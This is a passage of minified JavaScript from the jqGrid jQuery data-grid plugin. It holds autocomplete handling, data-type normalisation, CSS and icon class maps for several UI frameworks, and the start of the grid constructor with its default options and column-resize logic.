a=$e("#"+i).jqGrid("getRowData",$e("#"+i)[0].p.selrow);$e.isEmptyObject(a)||(this.value=a[l.return_fld],$e("#"+r).hide());break;case"Escape":$e("#"+r).hide();break;case"ArrowUp":n.keyCode=38,$e("#"+i).trigger(n);break;case"ArrowDown":n.keyCode=40,$e("#"+i).trigger(n)}}else t&&clearTimeout(t),setTimeout(function(){$e("#"+i).jqGrid("filterInput",o.value,{defaultSearch:l.defaultSearch||"bw",selectFirstFound:!0})},100)}),l.data&&("string"==typeof l.data?$e("#"+t).jqGrid("setGridParam",{url:l.data}):Array.isArray(l.data)&&$e("#"+t).jqGrid("setGridParam",{data:l.data})),$e("#"+t).jqGrid("setGridParam",{datatype:r})},inColumnHeader:function(e,t){for(var i=t.length,r=0;r<i;r++)if(t[r].startColumnName===e)return r;return-1},isServiceCol:function(e){return["cb","rn","subgrid","sc"].includes(e)},normalizeDbData:function(i,r){Array.isArray(i)||(i=[i]);for(let t=0;t<i.length;t++)for(let e=0;e<r.length;e++){var o=r[e];if(!$e.jgrid.isServiceCol(o.name)&&i[t].hasOwnProperty(o.name))switch(o.sorttype||o.stype||o.formatter||"text"){case"int":case"integer":i[t][o.name]=parseInt(i[t][o.name],10);break;case"float":case"number":case"numeric":case"currency":i[t][o.name]=parseFloat(i[t][o.name]);break;case"date":case"datetime":o.formatoptions.reformatAfterEdit=!0,i[t][o.name]=$e.jgrid.parseDate.call(this,o.formatoptions.newformat,i[t][o.name],o.formatoptions.srcformat||"Y-m-d")}}return i},isVisible:function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},styleUI:{jQueryUI:{common:{disabled:"ui-state-disabled",highlight:"ui-state-highlight",hover:"ui-state-hover",cornerall:"ui-corner-all",cornertop:"ui-corner-top",cornerbottom:"ui-corner-bottom",hidden:"ui-helper-hidden",icon_base:"ui-icon",overlay:"ui-widget-overlay",active:"ui-state-active",error:"ui-state-error",button:"ui-state-default ui-corner-all",content:"ui-widget-content",shadow:""},base:{entrieBox:"ui-widget ui-widget-content ui-corner-all",viewBox:"",headerTable:"",headerBox:"ui-state-default",rowTable:"",rowBox:"ui-widget-content",stripedTable:"ui-jqgrid-table-striped",footerTable:"",footerBox:"ui-widget-content",headerRowTable:"",headerRowBox:"ui-widget-content",headerDiv:"ui-state-default",gridtitleBox:"ui-widget-header ui-corner-top ui-helper-clearfix",customtoolbarBox:"ui-state-default",loadingBox:"ui-state-default ui-state-active",rownumBox:"ui-state-default",scrollBox:"ui-widget-content",multiBox:"",searchBox:"ui-widget-content ui-corner-all",searchSelect:"ui-widget-content ui-corner-all",pagerBox:"ui-state-default ui-corner-bottom",pagerTable:"",toppagerBox:"ui-state-default",pgInput:"ui-corner-all",pgSelectBox:"ui-widget-content ui-corner-all",pgButtonBox:"ui-corner-all",icon_first:"ui-icon-seek-first",icon_prev:"ui-icon-seek-prev",icon_next:"ui-icon-seek-next",icon_end:"ui-icon-seek-end",icon_asc:"ui-icon-triangle-1-n",icon_desc:"ui-icon-triangle-1-s",icon_caption_open:"ui-icon-circle-triangle-n",icon_caption_close:"ui-icon-circle-triangle-s"},modal:{modal:"ui-widget ui-widget-content ui-corner-all ui-dialog",header:"ui-widget-header ui-corner-all ui-helper-clearfix",content:"ui-widget-content",body:"ui-widget-content",footer:"ui-widget-content",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"ui-icon-closethick",icon_resizable:"ui-icon-gripsmall-diagonal-se"},celledit:{inputClass:"ui-widget-content ui-corner-all",selectClass:"ui-widget-content ui-corner-all"},inlinedit:{inputClass:"ui-widget-content ui-corner-all",selectClass:"ui-widget-content ui-corner-all",icon_edit_nav:"ui-icon-pencil",icon_add_nav:"ui-icon-plus",icon_save_nav:"ui-icon-disk",icon_cancel_nav:"ui-icon-cancel"},formedit:{labelClass:"",inputClass:"ui-widget-content ui-corner-all",selectClass:"ui-widget-content ui-corner-all",icon_prev:"ui-icon-triangle-1-w",icon_next:"ui-icon-triangle-1-e",icon_save:"ui-icon-disk",icon_close:"ui-icon-close",icon_del:"ui-icon-scissors",icon_cancel:"ui-icon-cancel"},navigator:{icon_edit_nav:"ui-icon-pencil",icon_add_nav:"ui-icon-plus",icon_del_nav:"ui-icon-trash",icon_search_nav:"ui-icon-search",icon_refresh_nav:"ui-icon-refresh",icon_view_nav:"ui-icon-document",icon_newbutton_nav:"ui-icon-newwin"},grouping:{icon_plus:"ui-icon-circlesmall-plus",icon_minus:"ui-icon-circlesmall-minus"},filter:{table_widget:"ui-widget ui-widget-content",srSelect:"ui-widget-content ui-corner-all",srInput:"ui-widget-content ui-corner-all",menu_widget:"ui-widget ui-widget-content ui-corner-all",icon_search:"ui-icon-search",icon_reset:"ui-icon-arrowreturnthick-1-w",icon_query:"ui-icon-comment"},subgrid:{icon_plus:"ui-icon-plus",icon_minus:"ui-icon-minus",icon_open:"ui-icon-carat-1-sw"},treegrid:{icon_plus:"ui-icon-triangle-1-",icon_minus:"ui-icon-triangle-1-s",icon_leaf:"ui-icon-radio-off"},fmatter:{icon_edit:"ui-icon-pencil",icon_add:"ui-icon-plus",icon_save:"ui-icon-disk",icon_cancel:"ui-icon-cancel",icon_del:"ui-icon-trash"},colmenu:{menu_widget:"ui-widget ui-widget-content ui-corner-all",input_checkbox:"ui-widget ui-widget-content",filter_select:"ui-widget-content ui-corner-all",filter_input:"ui-widget-content ui-corner-all",icon_menu:"ui-icon-comment",icon_search_menu:"ui-icon-grip-dotted-vertical",icon_sort_asc:"ui-icon-arrow-1-n",icon_sort_desc:"ui-icon-arrow-1-s",icon_columns:"ui-icon-extlink",icon_filter:"ui-icon-calculator",icon_group:"ui-icon-grip-solid-horizontal",icon_freeze:"ui-icon-grip-solid-vertical",icon_move:"ui-icon-arrow-4",icon_new_item:"ui-icon-newwin",icon_toolbar_menu:"ui-icon-document",icon_group_op:"ui-icon-bullet",icon_oper_op:"ui-icon-transfer-e-w",icon_reset:"ui-icon-arrowreturnthick-1-w",icon_close:"ui-icon-close"}},Bootstrap:{common:{disabled:"ui-disabled",highlight:"success",hover:"active",cornerall:"",cornertop:"",cornerbottom:"",hidden:"",icon_base:"glyphicon",overlay:"ui-overlay",active:"active",error:"bg-danger",button:"btn btn-default",content:"",shadow:""},base:{entrieBox:"",viewBox:"table-responsive",headerTable:"table table-bordered",headerBox:"",rowTable:"table table-bordered",rowBox:"",stripedTable:"table-striped",footerTable:"table table-bordered",footerBox:"",headerRowTable:"table table-bordered",headerRowBox:"",headerDiv:"",gridtitleBox:"",customtoolbarBox:"",loadingBox:"row",rownumBox:"active",scrollBox:"",multiBox:"checkbox",pagerBox:"",pagerTable:"table",toppagerBox:"",pgInput:"form-control",pgSelectBox:"form-control",pgButtonBox:"",icon_first:"glyphicon-step-backward",icon_prev:"glyphicon-backward",icon_next:"glyphicon-forward",icon_end:"glyphicon-step-forward",icon_asc:"glyphicon-triangle-top",icon_desc:"glyphicon-triangle-bottom",icon_caption_open:"glyphicon-circle-arrow-up",icon_caption_close:"glyphicon-circle-arrow-down"},modal:{modal:"modal",content:"modal-content",header:"modal-header",title:"modal-title",body:"modal-body",footer:"modal-footer",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"glyphicon-remove-circle",icon_resizable:"glyphicon-import"},celledit:{inputClass:"form-control",selectClass:"form-control"},inlinedit:{inputClass:"form-control",selectClass:"form-control",icon_edit_nav:"glyphicon-edit",icon_add_nav:"glyphicon-plus",icon_save_nav:"glyphicon-save",icon_cancel_nav:"glyphicon-remove-circle"},formedit:{labelClass:"",inputClass:"form-control",selectClass:"form-control",icon_prev:"glyphicon-step-backward",icon_next:"glyphicon-step-forward",icon_save:"glyphicon-save",icon_close:"glyphicon-remove-circle",icon_del:"glyphicon-trash",icon_cancel:"glyphicon-remove-circle"},navigator:{icon_edit_nav:"glyphicon-edit",icon_add_nav:"glyphicon-plus",icon_del_nav:"glyphicon-trash",icon_search_nav:"glyphicon-search",icon_refresh_nav:"glyphicon-refresh",icon_view_nav:"glyphicon-info-sign",icon_newbutton_nav:"glyphicon-new-window"},grouping:{icon_plus:"glyphicon-triangle-right",icon_minus:"glyphicon-triangle-bottom"},filter:{table_widget:"table table-condensed",srSelect:"form-control",srInput:"form-control",menu_widget:"",icon_search:"glyphicon-search",icon_reset:"glyphicon-refresh",icon_query:"glyphicon-comment"},subgrid:{icon_plus:"glyphicon-triangle-right",icon_minus:"glyphicon-triangle-bottom",icon_open:"glyphicon-indent-left"},treegrid:{icon_plus:"glyphicon-triangle-right",icon_minus:"glyphicon-triangle-bottom",icon_leaf:"glyphicon-unchecked"},fmatter:{icon_edit:"glyphicon-edit",icon_add:"glyphicon-plus",icon_save:"glyphicon-save",icon_cancel:"glyphicon-remove-circle",icon_del:"glyphicon-trash"},colmenu:{menu_widget:"",input_checkbox:"",filter_select:"form-control",filter_input:"form-control",icon_menu:"glyphicon-menu-hamburger",icon_sort_asc:"glyphicon-sort-by-alphabet",icon_sort_desc:"glyphicon-sort-by-alphabet-alt",icon_columns:"glyphicon-list-alt",icon_filter:"glyphicon-filter",icon_group:"glyphicon-align-left",icon_freeze:"glyphicon-object-align-horizontal",icon_move:"glyphicon-move",icon_new_item:"glyphicon-new-window",icon_toolbar_menu:"glyphicon-menu-hamburger"}},Bootstrap4:{common:{disabled:"ui-disabled",highlight:"table-success",hover:"table-active",cornerall:"",cornertop:"",cornerbottom:"",hidden:"",overlay:"ui-overlay",active:"active",error:"alert-danger",button:"btn btn-light",content:"",shadow:"shadow p-3 mb-5 bg-white rounded"},base:{entrieBox:"",viewBox:"table-responsive",headerTable:"table table-bordered",headerBox:"",rowTable:"table table-bordered",rowBox:"",stripedTable:"table-striped",footerTable:"table table-bordered",footerBox:"",headerRowTable:"table table-bordered",headerRowBox:"",headerDiv:"",gridtitleBox:"",customtoolbarBox:"",loadingBox:"row",rownumBox:"active",scrollBox:"",multiBox:"checkbox",searchBox:"form-control",searchSelect:"form-control form-control-sm",pagerBox:"",pagerTable:"table",toppagerBox:"",pgInput:"form-control",pgSelectBox:"form-control",pgButtonBox:""},modal:{modal:"modal",content:"modal-content",header:"modal-header",title:"modal-title",body:"modal-body",footer:"modal-footer",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"oi-circle-x",icon_resizable:"oi-circle-x"},celledit:{inputClass:"form-control",selectClass:"form-control"},inlinedit:{inputClass:"form-control",selectClass:"form-control"},formedit:{labelClass:"form-label",inputClass:"form-control",selectClass:"form-control"},navigator:{},grouping:{},filter:{table_widget:"table table-condensed",srSelect:"form-control",srInput:"form-control",menu_widget:""},subgrid:{},treegrid:{},fmatter:{},colmenu:{menu_widget:"",input_checkbox:"",filter_select:"form-control",filter_input:"form-control"}},Bootstrap5:{common:{disabled:"ui-disabled",highlight:"table-success",hover:"table-active",cornerall:"",cornertop:"",cornerbottom:"",hidden:"",overlay:"ui-overlay",active:"active",error:"alert alert-danger",button:"btn btn-light",content:"",shadow:"shadow p-3 mb-5 bg-body rounded"},base:{entrieBox:"",viewBox:"table-responsive",headerTable:"table table-bordered",headerBox:"",rowTable:"table table-bordered",rowBox:"",stripedTable:"table-striped",footerTable:"table table-bordered",footerBox:"",headerRowTable:"table table-bordered",headerRowBox:"",headerDiv:"",gridtitleBox:"",customtoolbarBox:"",loadingBox:"row",rownumBox:"active",scrollBox:"",multiBox:"checkbox",searchBox:"form-control",searchSelect:"form-select",pagerBox:"",pagerTable:"table",toppagerBox:"",pgInput:"form-control",pgSelectBox:"form-select",pgButtonBox:""},modal:{modal:"modal",header:"modal-header",title:"modal-title",content:"modal-content",body:"modal-body",footer:"modal-footer",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"oi-circle-x",icon_resizable:"oi-circle-x"},celledit:{inputClass:"form-control",selectClass:"form-select"},inlinedit:{inputClass:"form-control",selectClass:"form-select"},formedit:{labelClass:"form-label",inputClass:"form-control",selectClass:"form-select"},navigator:{},grouping:{},filter:{table_widget:"table table-sm",srSelect:"form-select",srInput:"form-control",menu_widget:""},subgrid:{},treegrid:{},fmatter:{},colmenu:{menu_widget:"",input_checkbox:"",filter_select:"form-select",filter_input:"form-control"}}},iconSet:{Iconic:{common:{icon_base:"oi"},base:{icon_first:"oi-media-step-backward",icon_prev:"oi-caret-left",icon_next:"oi-caret-right",icon_end:"oi-media-step-forward",icon_asc:"oi-caret-top",icon_desc:"oi-caret-bottom",icon_caption_open:"oi-collapse-up",icon_caption_close:"oi-expand-down"},modal:{icon_close:"oi-circle-x",icon_resizable:"oi-plus"},inlinedit:{icon_edit_nav:"oi-pencil",icon_add_nav:"oi-plus",icon_save_nav:"oi-check",icon_cancel_nav:"oi-action-undo"},formedit:{icon_prev:"oi-chevron-left",icon_next:"oi-chevron-right",icon_save:"oi-check",icon_close:"oi-ban",icon_del:"oi-delete",icon_cancel:"oi-ban"},navigator:{icon_edit_nav:"oi-pencil",icon_add_nav:"oi-plus",icon_del_nav:"oi-trash",icon_search_nav:"oi-zoom-in",icon_refresh_nav:"oi-reload",icon_view_nav:"oi-browser",icon_newbutton_nav:"oi-book"},grouping:{icon_plus:"oi-caret-right",icon_minus:"oi-caret-bottom"},filter:{icon_search:"oi-magnifying-glass",icon_reset:"oi-reload",icon_query:"oi-comment-square"},subgrid:{icon_plus:"oi-chevron-right",icon_minus:"oi-chevron-bottom",icon_open:"oi-expand-left"},treegrid:{icon_plus:"oi-plus",icon_minus:"oi-minus",icon_leaf:"oi-media-record"},fmatter:{icon_edit:"oi-pencil",icon_add:"oi-plus",icon_save:"oi-check",icon_cancel:"oi-action-undo",icon_del:"oi-trash"},colmenu:{icon_menu:"oi-list",icon_sort_asc:"oi-sort-ascending",icon_sort_desc:"oi-sort-descending",icon_columns:"oi-project",icon_filter:"oi-magnifying-glass",icon_group:"oi-list-rich",icon_freeze:"oi-spreadsheet",icon_move:"oi-move",icon_new_item:"oi-external-link",icon_toolbar_menu:"oi-menu",icon_group_op:"",icon_oper_op:"",icon_reset:"oi-reload",icon_close:"oi-ban"}},Octicons:{common:{icon_base:"octicon"},base:{icon_first:"octicon-triangle-left",icon_prev:"octicon-chevron-left",icon_next:"octicon-chevron-right",icon_end:"octicon-triangle-right",icon_asc:"octicon-triangle-up",icon_desc:"octicon-triangle-down",icon_caption_open:"octicon-triangle-up",icon_caption_close:"octicon-triangle-down"},modal:{icon_close:"octicon-x",icon_resizable:"octicon-plus"},inlinedit:{icon_edit_nav:"octicon-pencil",icon_add_nav:"octicon-plus",icon_save_nav:"octicon-check",icon_cancel_nav:"octicon-circle-slash"},formedit:{icon_prev:"octicon-chevron-left",icon_next:"octicon-chevron-right",icon_save:"octicon-check",icon_close:"octicon-x",icon_del:"octicon-trashcan",icon_cancel:"octicon-circle-slash"},navigator:{icon_edit_nav:"octicon-pencil",icon_add_nav:"octicon-plus",icon_del_nav:"octicon-trashcan",icon_search_nav:"octicon-search",icon_refresh_nav:"octicon-sync",icon_view_nav:"octicon-file",icon_newbutton_nav:"octicon-link-external"},grouping:{icon_plus:"octicon-triangle-right",icon_minus:"octicon-triangle-down"},filter:{icon_search:"octicon-search",icon_reset:"octicon-sync",icon_query:"octicon-file-code"},subgrid:{icon_plus:"octicon-triangle-right",icon_minus:"octicon-triangle-down",icon_open:"octicon-git-merge"},treegrid:{icon_plus:"octicon-triangle-right",icon_minus:"octicon-triangle-down",icon_leaf:"octicon-primitive-dot"},fmatter:{icon_edit:"octicon-pencil",icon_add:"octicon-plus",icon_save:"octicon-check",icon_cancel:"octicon-circle-slash",icon_del:"octicon-trashcan"},colmenu:{icon_menu:"octicon-grabber",icon_sort_asc:"octicon-arrow-up",icon_sort_desc:"octicon-arrow-down",icon_columns:"octicon-repo",icon_filter:"octicon-search",icon_group:"octicon-list-unordered",icon_freeze:"octicon-repo",icon_move:"octicon-git-compare",icon_new_item:"octicon-link-external",icon_toolbar_menu:"octicon-three-bars",icon_group_op:"",icon_oper_op:"",icon_reset:"octicon-sync",icon_close:"octicon-x"}},fontAwesome:{common:{icon_base:"fas"},base:{icon_first:"fa-step-backward",icon_prev:"fa-backward",icon_next:"fa-forward",icon_end:"fa-step-forward",icon_asc:"fa-caret-up",icon_desc:"fa-caret-down",icon_caption_open:"fa-caret-square-up",icon_caption_close:"fa-caret-square-down "},modal:{icon_close:"fa-window-close",icon_resizable:"fa-plus"},inlinedit:{icon_edit_nav:"fa-edit",icon_add_nav:"fa-plus",icon_save_nav:"fa-save",icon_cancel_nav:"fa-replay"},formedit:{icon_prev:"fa-chevron-left",icon_next:"fa-chevron-right",icon_save:"fa-save",icon_close:"fa-window-close",icon_del:"fa-trash",icon_cancel:"fa-times"},navigator:{icon_edit_nav:"fa-edit",icon_add_nav:"fa-plus",icon_del_nav:"fa-trash",icon_search_nav:"fa-search",icon_refresh_nav:"fa-sync",icon_view_nav:"fa-sticky-note",icon_newbutton_nav:"fa-external-link-alt"},grouping:{icon_plus:"fa-caret-right",icon_minus:"fa-caret-down"},filter:{icon_search:"fa-search",icon_reset:"fa-reply",icon_query:"fa-pen-square "},subgrid:{icon_plus:"fa-arrow-circle-right",icon_minus:"fa-arrow-circle-down",icon_open:"fa-ellipsis-v"},treegrid:{icon_plus:"fa-plus",icon_minus:"fa-minus",icon_leaf:"fa-circle"},fmatter:{icon_edit:"fa-edit",icon_add:"fa-plus",icon_save:"fa-save",icon_cancel:"fa-undo",icon_del:"fa-trash"},colmenu:{icon_menu:"fa-ellipsis-v",icon_sort_asc:"fa-sort-amount-up",icon_sort_desc:"fa-sort-amount-down",icon_columns:"fa-columns",icon_filter:"fa-filter",icon_group:"fa-object-group",icon_freeze:"fa-snowflake",icon_move:"fa-expand-arrows-alt",icon_new_item:"fa-external-link-alt",icon_toolbar_menu:"fa-list",icon_group_op:"",icon_oper_op:"",icon_reset:"fa-reply",icon_close:"fa-window-close"}},Bootstrap5:{common:{icon_base:"bi"},base:{icon_first:"bi-chevron-bar-left",icon_prev:"bi-chevron-left",icon_next:"bi-chevron-right",icon_end:"bi-chevron-bar-right",icon_asc:"bi-caret-up-fill",icon_desc:"bi-caret-down-fill",icon_caption_open:"bi-arrows-collapse",icon_caption_close:"bi-arrows-expand"},modal:{icon_close:"bi-x-lg",icon_resizable:"bi-box-arrow-in-down-right"},inlinedit:{icon_edit_nav:"bi-pencil-square",icon_add_nav:"bi-plus-square",icon_save_nav:"bi-save",icon_cancel_nav:"bi-x-square"},formedit:{icon_prev:"bi-chevron-left",icon_next:"bi-chevron-right",icon_save:"bi-save",icon_close:"bi-x-square",icon_del:"bi-trash",icon_cancel:"bi-x-octagon"},navigator:{icon_edit_nav:"bi-pencil-square",icon_add_nav:"bi-plus-square",icon_del_nav:"bi-trash",icon_search_nav:"bi-search",icon_refresh_nav:"bi-arrow-clockwise",icon_view_nav:"bi-view-list",icon_newbutton_nav:"bi-window"},grouping:{icon_plus:"bi-caret-right",icon_minus:"bi-caret-down"},filter:{icon_search:"bi-search",icon_reset:"bi-arrow-clockwise",icon_query:"bi-journal-code"},subgrid:{icon_plus:"bi-chevron-right",icon_minus:"bi-chevron-down",icon_open:"bi-arrow-bar-right"},treegrid:{icon_plus:"bi-plus-square-dotted",icon_minus:"bi-dash-square-dotted",icon_leaf:"bi-circle"},fmatter:{icon_edit:"bi-pencil-square",icon_add:"bi-plus-square",icon_save:"bi-save",icon_cancel:"bi-x-square",icon_del:"bi-trash"},colmenu:{icon_menu:"bi-list",icon_sort_asc:"bi-sort-alpha-down",icon_sort_desc:"bi-sort-alpha-up",icon_columns:"bi-columns",icon_filter:"bi-search",icon_group:"bi-collection-play",icon_freeze:"bi-layout-text-sidebar-reverse",icon_move:"bi-arrows-move",icon_new_item:"bi-window",icon_toolbar_menu:"bi-card-text",icon_group_op:"",icon_oper_op:"",icon_reset:"bi-arrow-clockwise",icon_close:"bi-x-square"}}}}),$e.fn.jqGrid=function(Ye){if("string"!=typeof Ye)return this.each(function(){if(!this.grid){$e.jgrid.isNull(Ye)||void 0===Ye.data||(z=Ye.data,Ye.data=[]);var b=$e.extend(!0,{url:"",height:150,defaultColWidth:150,page:1,rowNum:20,rowTotal:null,records:0,pager:"",pgbuttons:!0,pginput:!0,colModel:[],rowList:[],colNames:[],sortorder:"asc",sortname:"",datatype:"xml",mtype:"GET",altRows:!1,selarrrow:[],preserveSelection:!1,savedRow:[],shrinkToFit:!0,xmlReader:{},jsonReader:{},subGrid:!1,subGridModel:[],reccount:0,lastpage:0,lastsort:0,selrow:null,beforeSelectRow:null,onSelectRow:null,onSortCol:null,ondblClickRow:null,onRightClickRow:null,onPaging:null,onSelectAll:null,onInitGrid:null,loadComplete:null,gridComplete:null,loadError:null,loadBeforeSend:null,afterInsertRow:null,beforeRequest:null,beforeProcessing:null,onHeaderClick:null,viewrecords:!1,loadonce:!1,multiselect:!1,multikey:!1,multiboxonly:!1,multimail:!1,multiselectWidth:30,onMultiSleect:null,editurl:null,search:!1,caption:"",hidegrid:!0,hiddengrid:!1,postData:{},userData:{},treeGrid:!1,treeGridModel:"nested",treeReader:{},treeANode:-1,ExpandColumn:null,tree_root_level:0,prmNames:{page:"page",rows:"rows",sort:"sidx",order:"sord",search:"_search",nd:"nd",id:"id",oper:"oper",editoper:"edit",addoper:"add",deloper:"del",subgridid:"id",npage:null,totalrows:"totalrows"},forceFit:!1,gridstate:"visible",cellEdit:!1,cellsubmit:"remote",nv:0,loadui:"enable",toolbar:[!1,""],scroll:!1,deselectAfterSort:!0,scrollrows:!1,autowidth:!1,scrollOffset:$e.jgrid.scrollbarWidth()+3,cellLayout:5,subGridWidth:20,gridview:!0,rownumWidth:35,rownumbers:!1,pagerpos:"center",recordpos:"right",footerrow:!1,userDataOnFooter:!1,headerrow:!1,userDataOnHeader:!1,hoverrows:!0,viewsortcols:[!1,"vertical",!0],resizeclass:"",autoencode:!1,remapColumns:[],ajaxGridOptions:{},direction:"ltr",toppager:!1,headertitles:!1,scrollTimeout:40,data:[],_index:{},grouping:!1,groupingView:{groupField:[],groupOrder:[],groupText:[],groupColumnShow:[],groupSummary:[],showSummaryOnHide:!1,sortitems:[],sortnames:[],summary:[],summaryval:[],plusicon:"",minusicon:"",displayField:[],groupSummaryPos:[],formatDisplayField:[],_locgr:!1},groupHeaderOn:!1,ignoreCase:!0,cmTemplate:{},idPrefix:"",multiSort:!1,minColWidth:33,minGridWidth:100,maxGridWidth:3e3,scrollPopUp:!1,scrollTopOffset:0,scrollLeftOffset:"100%",scrollMaxBuffer:0,storeNavOptions:!1,regional:"en",styleUI:"jQueryUI",iconSet:"Iconic",responsive:!1,forcePgButtons:!1,resizeHeight:!0,restoreCellonFail:!0,editNextRowCell:!1,colFilters:{},colMenu:!1,colMenuCustom:{},colMenuColumnDone:null,colMenuBeforeProcess:null,colSpanHeader:[],treeGrid_bigData:!1,treeGrid_rootParams:{otherData:{}},treeGrid_beforeRequest:null,treeGrid_afterLoadComplete:null,useNameForSearch:!1,formatFooterData:!1,formatHeaderData:!1,mergeSearch:!1,searchModules:{mergeOper:"AND",filterInput:!0,filterToolbar:!0,searchGrid:!0,colMenuSearch:!0},emptyRecordRow:!0,ariaBody:!1,searchCols:!1,searchColOptions:{colWidth:90,searchOp:"OR",operand:"cn",useCase:!1,colName:"Search Col",colmenu:!0,searchOnEnter:!0,aOperands:["cn","bw","ew","eq","ne"],_cnth:["cb","rn","sc","subgrid","col_name"],visibleColumns:[]},dbconfig:{dbname:"",dbversion:-1,dbtable:"",deleteIfExists:!1,loadIfExists:!1,isKeyInData:!1,dataUrl:"",reader:null,beforeInsertData:null,fetchOptions:{}}},$e.jgrid.defaults,Ye),K=(void 0!==z&&(b.data=z,Ye.data=z),this),y={headers:[],cols:[],footers:[],hrheaders:[],dragStart:function(e,t,i){var r=$e(this.bDiv).offset().left,o=parseInt(b.colModel[e].minResizeWidth||b.minColWidth,10);isNaN(o)&&(o=33),this.resizing={idx:e,startX:t.pageX,sOL:t.pageX-r,minW:o},this.hDiv.style.cursor="col-resize",this.curGbox=$e("#rs_m"+$e.jgrid.jqID(b.id),"#gbox_"+$e.jgrid.jqID(b.id)),this.curGbox.css({display:"block",left:t.pageX-r,top:i[1],height:i[2]}),$e(K).triggerHandler("jqGridResizeStart",[t,e]),$e.jgrid.isFunction(b.resizeStart)&&b.resizeStart.call(K,t,e),document.onselectstart=function(){return!1}},dragMove:function(e){var t,i,r,o;this.resizing&&(e=e.pageX-this.resizing.startX,t=this.headers[this.resizing.idx],(i="ltr"===b.direction?t.width+e:t.width-e)>this.resizing.minW)&&(this.curGbox.css({left:this.resizing.sOL+e}),!0===b.forceFit?(r=this.headers[this.resizing.idx+b.nv],(o="ltr"===b.direction?r.width-e:r.width+e)>this.resizing.minW&&(t.newWidth=i,r.newWidth=o)):(this.newWidth="ltr"===b.direction?b.tblwidth+e:b.tblwidth-e,t.newWidth=i))},dragEnd:function(e,t){var i,r;this.hDiv.style.cursor="default",void 0===t&&(t=!0),this.resizing&&(i=this.resizing.idx,r=this.headers[i].newWidth||this.headers[i].width,r=parseFloat(r),this.resizing=!1,$e("#rs_m"+$e.jgrid.jqID(b.id)).css("display","none"),b.colModel[i].width=r,this.headers[i].width=r,this.headers[i].el.style.width=r+"px",this.cols[i].style.width=r+"px",0<this.footers.length&&(this.footers[i].style.width=r+"px"),0<this.hrheaders.length&&(this.hrheaders[i].style.width=r+"px"),!0===b.forceFit?(r=this.headers[i+b.nv].newWidth||this.headers[i+b.nv].width,this.headers[i+b.nv].width=r,this.headers[i+b.nv].el.style.width=r+"px",this.cols[i+b.nv].style.width=r+"px",0<this.footers.length&&(this.footers[i+b.nv].style.width=r+"px"),0<this.hrheaders.length&&(this.hrheaders[i+b.nv].style.width=r+"px"),b.colModel[i+b.nv].width=r):(b.tblwidth=this.newWidth||b.tblwidth,$e(this.bDiv).find("table").first().css("width",b.tblwidth+"px"),$e(this.hDiv).find("table").first().css("width",b.tblwidth+"px"),this.hDiv.scrollLeft=this.bDiv.scrollLeft,b.footerrow&&($e(this.sDiv).find("table").first().css("width",b.tblwidth+"px"),this.sDiv.scrollLeft=this.bDiv.scrollLeft),b.headerrow&&($e(this.hrDiv).find("table").first().css("width",b.tblwidth+"px"),this.hrDiv.scrollLeft=this.bDiv.scrollLeft)),e&&($e(K).triggerHandler("jqGridResizeStop",[r,i]),$e.jgrid.isFunction(b.resizeStop))&&b.resizeStop.call(K,r,i),b.frozenColumns)&&t&&($e("#"+$e.jgrid.jqID(b.id)).jqGrid("destroyFrozenColumns"),$e("#"+$e.jgrid.jqID(b.id)).jqGrid("setFrozenColumns")),this.curGbox=null,document.onselectstart=function(){return!0}},populateVisible:function(){y.timer&&clearTimeout(y.timer),y.timer=null;var e=$e(y.bDiv).height();if(e){var t,i,r,o,n,a,s,l,d,c=$e(y.bDiv).find("table").first();if(c[0].rows.length)try{t=(i=c[0].rows[1])&&$e(i).outerHeight()||y.prevRowHeight}catch(e){t=y.prevRowHeight}t&&(y.prevRowHeight=t,i=b.rowNum,r=y.scrollTop=y.bDiv.scrollTop,a=t*i,(n=(o=Math.round(c.position().top)-r)+c.height())<e&&o<=0&&(void 0===b.lastpage||(parseInt((n+r+a-1)/a,10)||0)<=b.lastpage)&&(l=parseInt((e-n+a-1)/a,10)||1,o=0<=n||l<2||!0===b.scroll?(s=(Math.round((n+r)/a)||0)+1,-1):1),0<o&&(s=(parseInt(r/a,10)||0)+1,l=(parseInt((r+e)/a,10)||0)+2-s,d=!0),!l||b.lastpage&&(s>b.lastpage||1===b.lastpage||s===b.page&&s===b.lastpage)||(y.hDiv.loading?y.timer=setTimeout(y.populateVisible,b.scrollTimeout):(b.page=s,(d=0<b.scrollMaxBuffer&&(0<i&&b.scrollMaxBuffer<i&&(b.scrollMaxBuffer=i+1),b.reccount>b.scrollMaxBuffer-(0<i?i:0))?!0:d)&&(y.selectionPreserver(c[0]),y.emptyRows.call(c[0],!1,!1)),y.populate(l)),b.scrollPopUp&&!$e.jgrid.isNull(b.lastpage)&&($e("#scroll_g"+b.id).show().html($e.jgrid.template($e.jgrid.getRegional(K,"defaults.pgtext",b.pgtext),b.page,b.lastpage)).css({top:b.scrollTopOffset+r*((parseInt(b.height,10)-45)/(parseInt(t,10)*parseInt(b.records,10)))+"px",left:b.scrollLeftOffset}),$e(this).mouseout(function(){$e("#scroll_g"+b.id).hide()}))))}},scrollGrid:function(){if(!y.bScroll){var e;y.hScroll=!0,b.scroll&&(e=y.bDiv.scrollTop,void 0===y.scrollTop&&(y.scrollTop=0),e!==y.scrollTop)&&(y.scrollTop=e,y.timer&&clearTimeout(y.timer),y.timer=setTimeout(y.populateVisible,b.scrollTimeout)),y.hDiv.scrollLeft=y.bDiv.scrollLeft,b.footerrow&&(y.sDiv.scrollLeft=y.bDiv.scrollLeft),b.headerrow&&(y.hrDiv.scrollLeft=y.bDiv.scrollLeft),b.frozenColumns&&$e(y.fbDiv).scrollTop(y.bDiv.scrollTop);try{$e("#column_menu").remove()}catch(e){}}y.bScroll=!1},selectionPreserver:function(t){function i(){var e;if(r.multiselect&&n&&0<n.length)for(e=0;e<n.length;e++)n[e]&&$e(t).jqGrid("setSelection",n[e],!1,"_sp_");!r.multiselect&&o&&$e(t).jqGrid("setSelection",o,!1,null),t.grid.bDiv.scrollLeft=a,$e(t).off(".selectionPreserver",i)}var r=t.p,o=r.selrow,n=r.selarrrow?$e.makeArray(r.selarrrow):null,a=t.grid.bDiv.scrollLeft;$e(t).on("jqGridGridComplete.selectionPreserver",i)},hScroll:!1,bScroll:!1};if("TABLE"!==this.tagName.toUpperCase()||$e.jgrid.isNull(this.id))alert("Element is not a table or has no id!");else if(void 0!==document.documentMode&&document.documentMode<=5)alert("Grid can not be used in this ('quirks') mode!");else{var 